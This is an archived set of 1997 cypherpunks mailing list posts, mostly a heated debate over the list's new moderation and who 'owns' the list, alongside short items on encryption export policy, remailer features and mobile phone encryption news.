          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Mon, 3 Feb 1997 07:11:07 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <v03007800af1b4258d2a4@[207.167.93.63]>
Message-ID: <Pine.SUN.3.91.970203064055.28470H-100000@crl8.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Mon, 3 Feb 1997, Timothy C. May wrote:

> Unfortunately, Sandy responded to my post with his own flames ("piffle,"
> "disingenous," "straw man," etc.). Now he may well think his points are not
> flames becuase they are "true," but to me they take the form of flames.

But they are not ad hominem attacks on Tim May.  The are my
opinions of some of his arguments.  Even very smart people such
as Tim say poorly thought out or even silly things.  

> But then I have long disliked Sandy's method of argument. Nothing personal. But

Nor I, Tim's.  Nothing personal, but that's the point.  It is
still possible to conduct ourselves with mutual respect even if 
our views and styles differ.

> As Sandy did a too-common section-by-section disssection, I'll do the same
> for his comments.

After reading through Tim's post, I don't think much would be
served by doing another point by point response.  From Tim's
tone, it appears he is still seething about how this all came
about, so I'll just leave our two expressions of opinions where
they were.  I have no wish to exacerbate any hard feelings Tim
may be having.
 

 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 3 Feb 1997 08:32:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Key Security Question
In-Reply-To: <199702030610.WAA14061@toad.com>
Message-ID: <y3VJ2D19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"William H. Geiger III" <whgiii@amaranth.com> writes:

> X-Mailer: MR/2 Internet Cruiser Edition for OS/2 v1.24
>

I wonder why this message by bill got auto-posted to the censored list,
while his very thoughtful and crypto-relevant post got canned?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Mon, 3 Feb 1997 08:01:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <199702031552.HAA11689@gulch.spe.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort writes:
[ . . . ]
 > On Sun, 2 Feb 1997, Timothy C. May wrote:
[ . . . ]
 > > Fourth, it sent a message to enemies of liberty that "Even the 
 > > Cypherpunks have found it necessary to abandon their anarchic
 > > ways."
 > 
 > That's one message that one could take from all this, I suppose.
 > I don't see it that way, nor do several list members who thanked 
 > me in private e-mail for improving the list.  Again, YMMV.

     This is the strongest point in Mr. May's essay, and it is not
easily dismissed as a difference in perspective.  I admit to looking
forward to the moderation experiment when it was announce; the noise
on the list was phenomenal even by cypherpunk standards.  My procmail
filters were approaching the level of complexity required for
self-awareness and the ASCII art still slipped through.  Plus, I
generally agree with Mr. Sandfort's positions.

     The point above demonstrates that support of the current solution
is not rationally justified.  Banning people from the list, however
ineffectually, and imposing moderation on the main list, rather than
offering another filtering service, does indeed support the thesis
that even a virtual anarchic society must resort to a central
authority to solve some problems.

     The moderation mechanism is the message.

 > What didn't work was "local filtering" which has no feed-back 
 > loop to engender comity.

     This is a strong rebuttal.  The primary affect of local filtering
is that posts which are filtered do not garner as many responses as
those which are not.  This feedback is swamped by the tendency of
filtered messages to generate flames from those who do not filter
them.

     Filtered sublists are a more effective technique, available to
non-technical subscribers as well.

     Some of the more advanced tools discussed here, such as
collaborative filtering, rating schemes, etc. have potential if the
ease-of-use barriers can be overcome.

     A cryptoanarchic solution, however, should be technical and
individual.  Centralized human moderation does not have the cypherpunk
nature.

Regards,

Patrick May






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Mon, 3 Feb 1997 05:50:51 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderat
Message-ID: <TCPSMTP.17.2.3.8.56.36.2780269260.1499442@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hi there,

 > ...and saw no point in wasting even more of my time arguing against the New
 > Cypherpunks World Order, as the NCWO was clearly presented as a fait
 > accompli, not something ablut which opinions of list members (or even list
 > _founders_, at least not me) were being sought.

 -=> Quoting In:sandfort@crl11.crl.com to Harka <=-

 In> Factual error #2.  There was a call for comment; Tim chose not to
 In> do so.  In retrospect, I wish we had run it by Tim, Eric and
 In> Hugh in more detail before making the annoucement, but we didn't.
 In> Certainly a tactical error and a breach of protocol, but not the
 In> end of the world.  Sorry Tim.  I should have spoken to you first.

Tactical error and breach of protocol, but not the end of the
world??
Very weak and dangerous argument. I already hear the Administration
saying: "Oh sorry, we didn't tell you about the new wiretaps
affecting 50 percent of all phone lines. Certainly a tactical error
and a breach of protocol, but HEY, it's _not_ the end of the world!
Plus, it's good for you!"

 > * But the really important issue is this: is the _physical hosting_ of the
 > Cypherpunks mailing list coterminous with the "Cypherpunks"? If the list
 > was hosted by, say, UC Berkeley or PGP Incorporated, would we consider
 > these hosts to be the "owners" of the Cypherpunks group?...

 In> I think this is a Straw Man.  John and I have never argued that
 In> John "owns" cypherpunks.  When a Cypherpunk meeting is held in
 In> someone's living room, however, I don't think it's asking to much
 In> to ask everyone to follow the local rules (e.g., "no shoes in the
 In> house" or "no smoking" or even "no ad hominem attacks").  As Tim
 In> is fond of saying, "my house; my rules."  I don't think this
 In> means Tim "owns" a physical meeting in his house.

It really doesn't matter. I do agree, that having a meeting in,
let's say, your house, everybody has to submit to the "local rules",
i.e. no shoes, no smoking etc.. To avoid those rules means not to go
to that location.
However, any rules in a certain location do NOT affect speech. While
I may enforce the rule for people not to smoke in my house, I can't
enforce anything in regards to their speech. The mere try would be
counterproductice to having a meeting in the first place.
On a mailing list like this one, trying to enforce certain
_subjective_ standards is even more counterproductive, especially on
the self-proclaimed fore-front of liberty (Cypherpunks).
I do agree with TCM, that this is an argument for the very enemies
of free speech and neglecting the individual filtering-capabilities
of each subscriber.

 In> no evidence that it has made things worse.  Remember, there are a
 In> hand-full of subscribers to the Flames list, 20-30 on the
 In> Unedited list and *2000* or so on the Moderated list.  Sure some
 In> of that may be due to laziness, but it would be cavalier in the
 In> extreme to claim that such an overwhelming acceptance of
 In> moderation is merely an artifact of inertia.

Not necessarely. By subscribing the regular way: <subscribe
cypherpunks user@adress.com> one gets on the moderated list by
default. It might take (esp. new) people a while to realize, it's
moderated. And since it's Cypherpunks, they subscribed to, they
don't even _expect_ such things in the first place...
I'd do it vice versa, having them subscribe to unedited by default
and only if they make the effort (deliberate choice) to get on any
kind of moderated version, they can do so by sending a message to
majordomo.


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMvCiUzltEBIEF0MBAQHYGAf+In7n3Us+4g7GtHTlXynV5f1r1n0kF2/1
KCmMvng05kHUL9c2ucG/oVZAy821quvbbgQNGmEbpkbPQezCFLesWLSQ+SaA0XGm
KNC8PqjiqGVHyi0UonhE6z48j0tyt1pbgYFk15nm8pb2ejSR77suXGqDNYKabqu3
MsGnn/JFWlBEArvkSjnQ6Psgs9kqi+6DLsGlKhICkaRGj5/lTfvoLvdW183WqbAt
9SkpJBjBSTFSDc6IuC0oYWZnEvbVMO8KCkOJGjgOxYDCjh5kRzQn6lB2cKXmQmyH
KxAfMsTLcHV6AcFAONUKzp+TwaUcw2LA4Eu21NtD3bWo03JeHoCQLA==
=f+Ki
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 06:48:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: COM_int
Message-ID: <1.5.4.32.19970203144238.006c1920@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


2-2-97:

"Telecom equipment makers to develop encryption for mobile phones"

 Matsushita, NEC and Mitsubishi will cooperate in developing scrambler 
 technology to prevent interception of mobile phone calls and other 
 misuse, and will open a research laboratory in Yokohama on Feb. 12.
 Within five years the facility is to perfect encryption technology 
 to protect wireless communications and data transmissions, and for 
 possible use in electronic commerce. Researchers will work to develop 
 a mobile communications version of "public key" scrambling technology 
 now used to secure data transmitted online.

"Electronic Cash Via Wireless Phone, Smart Card In Works"

 Wireless telephones are about to get a new mission as portable money 
 machines. PacBell intends to test ways to blend its mobile phone 
 technology with a smart card that can dramatically upgrade the 
 intelligence of a wireless telephone. People on the go could transfer 
 funds into the card's memory, slide the card into the phone, and then 
 use the phone as a communications device to buy a variety of goods 
 and services.

"Sierra Wireless Combines Cellular Data, GPS; MP 200-GPS Modem 
Provides Both in a Single Package"

 The combination MP200-GPS product includes an MP200 rugged CDPD/cellular
 3-watt mobile modem, a state-of-the-art Trimble GPS receiver module and 
 a choice of magnetic mount or hard mount GPS active antennas. In addition, 
 the MP200-GPS includes an  internal microcontroller, so it can operate 
 without a PC or mobile data  terminal as a standalone tracking monitor. 
 A remote host computer can wirelessly program the unit to report position 
 on a preset timeout,  whenever the unit moves a certain distance, or if 
 an external alarm is triggered.

-----

COM_int






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Mon, 3 Feb 1997 07:54:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fortune, 3 Feb
Message-ID: <32F60A0E.4DB0@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


Big article in Fortune about e-mail privace.  One little paragraph
about encryption ("scrambling").  Fairly clue-free overall, but
entertaining.

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 3 Feb 1997 14:42:29 -0800 (PST)
To: sandfort@crl11.crl.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030626.WAA14617@toad.com>
Message-ID: <199702031011.KAA00295@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



My main complaints about the `filtering' service forced upon the list
readership are that:

1. It was done to the main list!  If cypherpunks were left unchanged,
and a `cypherpunks-edited' were created I wouldn't have a problem, it
would be just another filtered list.  However there are already
several filtered lists, so the usefulness of this is limited anyway.
Merely including details of these filtered lists in the sign on
message, and posting a reminder every few weeks would suffice.  I and
apparently, most others didn't choose to subscribe to a filtering
service.  I object to this choice being over-ridden.  OK, so I can
re-subscribe to cypherpunks (cypherpunks-unedited), but many won't
bother.  (Actually I subscribe to cypherpunks-flames and cypherpunks,
as the most efficient way of receiving all messages, and still being
able to see the moderation results).

2. The impetus for moderating the main list seems to be as a result of
a few posts by Dimitri.  Really, if this is all it takes to destroy an
unmoderated list, I've got to laugh at cypherpunks collectively.  Why
is it such a big deal to press the `n' key, if you don't like what
Dimitri, or anyone else, has to say?  If your time is too valuable to
press `n' keys, what is wrong with subscribing to the existing
filtered lists?  Or with setting up a kill-file?  Or maybe generating
a bit of signal yourself?

3. It is even more funny that in my opinion Dimitri purposefully set
out to raise the issue of censorship (after his own partial
censorship), and has succeeded to this extent.  The whole thing is
just allowing yourself to be manipulated by his transparent efforts.

4. There is already a moderated forum for discussion of cypherpunks
issues: cryptography@c2.net, why do we need another one?

My vote is for renaming:

	`cypherpunks-unedited' -> `cypherpunks'
and	`cypherpunks' -> `cypherpunks-edited'

and for moving all those still on the edited list to the unedited
list.  Post a note advertising the availability of a new filtering
service called `cypherpunks-edited@toad.com', along with the
references to the other competing filtering services.

If at the end of the trial forced moderation period, John Gilmore
doesn't have the bandwidth on toad.com to support all of
`cypherpunks', `cypherpunks-edited' and `cypherpunks-flames', I
suggest that a new home is found for `cypherpunks'.  Or perhaps Sandy
as proponent of his filtering service, would be able to find a home
for `sandys-filtered-cypherpunks' service, as with the other filtering
services.

Personally, I am not in the habit of flaming people, or using the word
`fuck', in general discussion, but I find the way this `filtering
service' was foisted on the main list highly objectionable.

Adam
--
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 10:25:20 -0800 (PST)
To: Sandy Sandfort <sandfort@crl.com>
Subject: Filling Power Vacuums
In-Reply-To: <v03007800af1b4258d2a4@[207.167.93.63]>
Message-ID: <v03007801af1bd64055a2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:57 AM -0800 2/3/97, Sandy Sandfort wrote:

>After reading through Tim's post, I don't think much would be
>served by doing another point by point response.  From Tim's
>tone, it appears he is still seething about how this all came
>about, so I'll just leave our two expressions of opinions where
>they were.  I have no wish to exacerbate any hard feelings Tim
>may be having.

Indeed, I have been seething for the past several weeks (off and on, as I
am fortunately able to usually put it out of my mind and do other things
with my mental energies....).

I think I have figured out why I'm seething.

It's about "power grabs."

You see, in any anarchic situation, where reliance on self-control and
self-filtering is emphasized, there is always a _temptation_ for some to
"fill the power vacuum" and grab power.

I learned in my years at Intel how easy it was to start bossing people
around, and as I hired engineers and scientists, I built up quite a little
empire. But I didn't like what it was doing to me, as it distanced me from
the technology and also brought out "control freak" tendencies....I started
worrying about how my people were using their time ("my" time), and I
increasingly applied my own notions of what they should talk about and what
were suitable topics for laboratory chatter. In other words, I became a
censor. (Not a government censor, but a censor in the broader definition
I've already cited.)

So I gave it up. Even before eventually retiring from Intel, I elected to
leave the management track and rejoin the "technical ladder," becoming one
of Intel's so-called Principal Engineers. No longer could I control others,
except through the example I set and the information I provided. And I was
happy I had moved away from "the dark side of the force."

(I accept the role hierarchies play in corporations. They can't be built
with just people like me. They need leaders, controllers, power freaks,
etc. But a virtual community like the Cypherpunks group is not such a
heirarchical organization, and it needs few rules, leaders, etc. "We don't
need no steenking leaders.")

As this relates to Cypherpunks, I have steadfastly refused to consider any
"management role," so to speak, in how the list is run, the formal
policies, etc. I'm not saying there has been a call for management (though
Detweiler used to rail against us for not having a management heirarchy,
for not having rules and democratic procedures for "making decisions"),
just that the power vacuum in anarchies such as ours is often an open
invitation for someone to step in and "provide structure and guidance." I
resisted any thoughts of doing this, and argued against this sort of thing
whenever the topic came up in conversation. I chose to lead only by the
posts I wrote and the ideas I worked on.

There have been frequent calls over the years for the Cypherpunks to have a
more permanent presence, perhaps even an office in Washington, D.C., such
as the EFF had, the CPSR still has, and so on. And to have an Official
Spokesman, a contact person for the media droids to contact. The calls for
this have declined in the last couple of years, as people figured out that
the Cypherpunks are not about having spokespunks for us, and that the media
will just have to deal with the "anarchy" of having to herd cats to get
information out of us.

Now, of course, the message is being sent that Sandy Sandfort is in some
sense the de facto leader, being that he determines what traffic goes out
to the main list and what traffic gets bounced into the flames list. In
fact, I'll make a prediction: The media will see that he is the chief
censor and arbiter of worthiness and will increasingly contact him for the
Official Point of View on various items they are interested in.

It distresses me greatly that Sandy Sandfort has elected to move into this
"power vacuum" to nominate himself as our Leader and Chief Censor. Foo on
that.

(I used to hear this at Intel, where the argument for a hierarchical
structure was much stronger, to wit: "Tim, if you won't agree to manage
others, you'll have to accept that people less technically competent than
yourself are going to  elect to become managers and they'll probably become
_your_ manager in the not too distant future.")

So, I sort of thank Sandy for helping me to realize certain things that I
may not have explicitly realized before.

Namely, I realize that I don't want the karmic burdens of power myself,
preferring to lead only by the example I set and the ideas I generate. This
is why "market anarchies" (books, music, ideas, all things where "no ruler"
exists) appeal to me so much. And since I don't wish to assume the mantle
of leadership, and don't see much need for leadership or global censorship
(as opposed to locally contracted for filtering, a la Eric Blossom's list,
or Siskel and Ebert giving recommendations, or ratings of restaurants,
etc.), I am resentful and suspicious of people who _do_ step into the
"power vacuum" to lead and control.

Now I grant you that Sandy's form of leadership and control is relatively
mild, but the very notion that Sandy can reject a long essay because of a
couple of phrasings he dislikes (this was his "judgment call" point about
why he (reluctantly?) allowed my post to go out) is a step in the wrong
direction.

And given our strong ideological bias toward market anarchies, this move
toward censorship stands out like a sore thumb.

At least the issue would be clearer if Sandy passed all posts through but
deleted sections that offended him and marked deleted sections as
"**CENSORED**."

Yes, I'm seething. Sandy is right about that. I saw a group I helped create
and spent thousands of hours on, writing articles and developing ideas
choose--by fiat from the owner of the machine the list was being sent out
from--to embrace the dark side, the control freak side. In the name of
"comity," Sandy's term for the bonhomie he thinks he can cultivate, we lose
our ideological purity.

"Hey, even the Cypherpunks have embraced censorship."

Instead of letting the power vacuum remain unfilled, and suggesting to
people that they solve the problems it creates as best they can, Sandy
jumped in to fill the vacuum.

This is what I'm seething about. And even dropping the power grab at the
end of the "experiment" will not stop this seething.

Fuck it.

--Tim May


"



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 07:48:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: GAK cracking?
Message-ID: <199702031548.KAA03773@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


Just days after a U.S. graduate student cracked the most powerful
computer encryption system allowed out of the country, the Commerce
Department announced it would allow three companies to export an
even stronger system. 

Until this year, computer encryption programs, which scramble 
information and render it unreadable without a password or software 
"key," were classified as munitions and stronger programs could not 
be exported. 

But under a controversial new Clinton administration policy that took 
effect Jan. 1, companies may receive permission to export stronger 
programs. 

"I'm happy that we've been able to do this within the first month 
without rancor or difficulty," Under Secretary of Commerce for Export 
Administration William Reinsch told Reuters in a telephone interview. 

To export stronger programs immediately, companies must agree to 
incorporate features within two years allowing the government to 
decode encrypted messages by recovering the software keys, however. 

The administration's policy has been widely criticized as not 
relaxing the export limits enough and some companies feared the requirement 
for a two-year plan would substantially delay export approvals. 

The quick approvals should quell some of the criticism and encourage 
more applicants, Reinsch said. 

"As a result of this, you will have more companies taking it
seriously and we will expect more plans over the next couple of
months," he said. 

Encryption was once the realm of spies and generals. But with the
explosion of online commerce on the Internet, encryption has become
a vital tool for protecting everything from a business' email
message to a consumer's credit card number sent over the net. 

The amount of protection afforded by encryption is largely a function 
of the length of the software key measured in bits, the smallest unit of 
computer data. 

Companies said products with just 40-bit long keys, the old limit, 
were too easy to crack. The approvals came just days after Ian Goldberg, a 
graduate student at the University of California, cracked a message 
encoded with a software key 40-bits long. 

The government did not name the companies given permission to export 
stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
Information Systems acknowledged that it was one of the three. 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 10:55:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dissolving Choke Points
Message-ID: <v02140b05af1be4797ba0@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


I was amused by the similarities of USG crypto policy and the
moderation of the cypherpunks list.  Recently a number of new
regulations were announced to go into effect by a certain date.
Requests for comments were made after the policy was announced.  Many
of us thought that was pretty sneaky.  I feel the same way about the
moderation plan.

Moderation has been a failure.  I'm pretty good at filtering and I
can sadly report that there is very little signal out there.

There are lessons to be learned here.  One is that censorship does
not promote a stimulating and creative dialogue.  The cypherpunks list
right now is about as interesting as hanging out by the 7-11.

Another lesson is the danger of choke points.  We can see how
tempting it is for people to exercise their control.  Even John Gilmore
was unable to restrain himself from involuntary social engineering
experiments.  Who would we have considered to be more trustworthy?

Toad.com is a choke point, not just in terms of moderation but in
terms of the rate at which it can distribute messages.  Let's
replace it.

What we want are many machines carrying the cypherpunks list.  A
message posted to any machine goes to all of the others.  Each
machine sends messages to its subscribers only once.  Some of
these machines should be across borders.

The mail loop and multiple posting problems are solved by observing
the message IDs.

Fast implementation: use moderated mailing list software.  Put a
filter in the .forward file of the "moderator" account which looks
at the message ID and forwards the message if it hasn't been seen
already.  The mailing list machines all subscribe each other.

I've been looking for a stable machine with a good net connection to
do this.  I haven't found one.  However, if we have many machines
sharing the load, the stability of any one unit is not as important
because the list will survive multiple "hits".  Only the subscribers
on one machine will be affected by having their messages delayed.
This greatly reduces the work and responsibility for any one list
operator.  (As John will attest, keeping a machine running 24 hours a
day, 7 days a week, rain or shine, is a lot of work.)

Also, with multiple machines, each unit handles a small amount of the
load.  This makes more machines available and has less impact on
people's net connections.

Last I checked, there were about 1200 addresses on the mailing list at
toad.com.  All we need are about 10 machines to take 120 subscribers
each.  (This is a completely manageable load.)

Do you have a Unix machine on the Net?  Does it have sendmail and
Perl?  Then you have all that it takes to participate.  Send me
mail and I'll help you set it up.

Peter Hendrickson
ph@netcom.com

P.S. I like and respect John and Sandy and I've learned a lot from
both of them.  While basically well-intentioned, they just made a
mistake in this instance.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 3 Feb 1997 08:09:41 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: PCS Encryption?
Message-ID: <1.5.4.32.19970203160358.006b87a4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


>	I was under the impression that Fortezza was ok for classified
>traffic.  Did I miss the changeover, was it unannounced, or was I
>simply misremembering?

Fortezza now comes in several implementations for various, variable
and multiple levels of classification and message handling. There is info on 
latest mani-dexterous products at NSA's armadillo and missi sites.

If you don't want to be logged by NSA, see the Mykronyx bouquet at:

   http://jya.com/fortezza.htm

To be sure, you might get logged anyway: jya.com may have been
approved by the Administrative Office of the United States Courts for a 
snoop.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eldon Jenkins <EJENKINS@mhz.com>
Date: Mon, 3 Feb 1997 10:27:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: My Departure, Moderation, and "Ownership of the List" -Reply
Message-ID: <s2f5cb9b.004@mhz.com>
MIME-Version: 1.0
Content-Type: text/plain


Sandy, I've been a member of this list off and on for the past few years. 
In reading this list daily for quite some time I feel that the filtering you are
doing has made quite a substantial and positive change.  Normally I
would spend an hour or so at work filtering through the list deleting
endless threads of nonsense just so I could glean the valuable
information that is hidden in midst of the mindless chatter.  Now the time I
spend searching for information has been drastically reduced and I
would like to thank you for this.  While I am against censorship and
moderation whole-heartedly I see this as a different case.  You are not
preventing anyone from posting, you just sort the posts and place them
in their appropriate list.  I see your efforts as more of an organizing
project rather then censorship.  I would love to see the list continue to be
moderated.  Just my two cents though.

Eldon Jenkins
USRobotics
Programmer




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Mon, 3 Feb 1997 08:33:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702031632.LAA10670@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


on or about:  Sun, 2 Feb 1997 14:51:47 -0800

in a message allegedly from:  "Timothy C. May" <tcmay@got.net>

{snip}

> the really important issue is this: is the _physical hosting_ of the
> Cypherpunks mailing list coterminous with the "Cypherpunks"? 

{ much thoughtful and well-phrased commentary elided }

> I would have had no problem had John announced that he was creating
> a new list, the "Good Stuff" list, with Sandy has his Chooser of
> Good Stuff.

> But by making the _main list_ the censored one, this skewed things
> considerably.

> * Why, many reasonable people may ask, did I not simply unsubscribe
> from the "Cypherpunks" list and subscribe to the"Cypherpunks-Unedited) 
>(or whatever it is called) list? Because of my overall anger 

> But the clear message by having Sandy censor the
> main list (the default list, the list name with the main name, the
> list we all know about, etc.) 
{snip}

Now that the horse is out of the barn, ( or maybe not? ), I can't help
but ask whether one specific 'change to the change' would have
satisfied most of your objections:  retaining 'cypherpunks' as the
name of the unedited, all-the-crud-you-can-read-and-then-some,
version, and adding an 'cp-worthwhile' list for those of us who prefer
not to wade thru mountains of garbage to glean a few precious tidbits.

What's in a name?  Is perception more important ( to you ) than 
reality?  If just swapping names between cp and cp-unedited would make
such a large difference, I humbly suggest to you that you consider how
much labels need to matter.  Is the title of the group more important
the the content?  From where I sit, this looks a lot like a
style-over-substance complaint.  Of course, I don't have my trifocals
on just at the moment.

It may also be worth noting that the current 'status quo' is a 
transient experiment, with a fairly short time limit.  When JG, 
Sandy, et al. evaluate the results with an eye to future 
direction(s), they may well consider an 'inverted default' for the two
list names (i.e.:  cp / cp-unedited)

In any event, please accept my .02 in the spirit in which it is 
intended ( constructive criticism ).

/* */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 11:37:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203113803.006d1434@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


Since it seems to be the topic of the day, here are some of my thoughts on
moderating CP.

o Moderation achieved what it could achieve. Spam is no longer clogging up
the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting
the list.

o Moderation did not achieve what it couldn't achieve. The level of noise
has been reduced, but signal has not been increased. This is sad, but true.
The attempt was probably bound to fail, since many of the "top signal
generators" have long left the list and are not about to come back. All
that is remaining are a few diehards, such as myself, some TLA goons
(knowingly or unknowingly) working against the cause, and many newbies and
observers.

I believe that Cypherpunks is beyond hope of recovery. In fact, each day
Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
cause. Let's kill the list. Once and for all. Let the hard core crypto go
to Coderpunks, the politics to Cryptography, and the garbage into the void.

I am well aware of the name recognition and reputation capital associated
with CP, still I believe it best to *kill the list*.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:12:15 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031632.LAA10670@mail.bcpl.lib.md.us>
Message-ID: <32F641E3.6783@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


tmcghan@gill-simpson.com wrote:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> > the really important issue is this: is the _physical hosting_ of the
> > Cypherpunks mailing list coterminous with the "Cypherpunks"?
> { much thoughtful and well-phrased commentary elided }
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.  But by making the _main list_ the censored one, this
> > skewed things considerably.

> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.
> What's in a name?  Is perception more important ( to you ) than
> reality?  If just swapping names between cp and cp-unedited would make
